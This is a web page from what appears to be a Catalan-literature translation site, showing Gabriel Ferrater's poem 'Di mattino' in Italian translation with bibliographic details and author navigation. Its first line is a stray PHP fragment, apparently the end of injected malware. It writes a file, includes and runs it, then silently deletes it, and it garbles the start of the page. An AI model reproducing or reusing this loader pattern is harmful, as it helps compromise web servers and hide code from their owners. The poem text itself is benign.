");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Di mattino - Gabriel Ferrater
Facebook Twitter

Da nuces pueris

Gabriel Ferrater
Di mattino
Il sole, il saggio vecchio, va dissipando
minuscoli dubbi di oscurità, ancora
lí, da risolvere. Gli tremano
un po’ le mani, e tremiamo
gli alberi e noi, quando sentiamo
che ogni nuovo minuto strapperà,
brusco, una benda d’ombra; e ora il giusto
caso della luce sarà piu retto, e ora
cinguetterà la prima inquietudine del flauto
d’Iblis, e lo vedremo intero, e tutto al di là
di spazi luminosi, impenetrabili
come il cristallo. Tutto evidente, diremo:
lo hai voluto tu, lo hai cercato tu, di notte,
quando dormivi soltanto per svegliarti
e non volevi credere che la vita
ti si sarebbe fatta ignota, piú del sonno.
Traducido por Livio B. Wilcock
Gabriel Ferrater, Di mattino. Milà: Bompiani, 1962, pp.335-337.
Gabriel Ferrater (Diario de Barcelona, 1979)
Buscador de autores
A-B-C-D - E-F-G - H - I
J - K - L - M - N - O - P - Q - R
S-T-U-V-W-X-Y-Z
Traducciones de la literatura catalana
Pueden consultar más páginas sobre la literatura catalana en traducción en:
Poesía
Con el soporte de: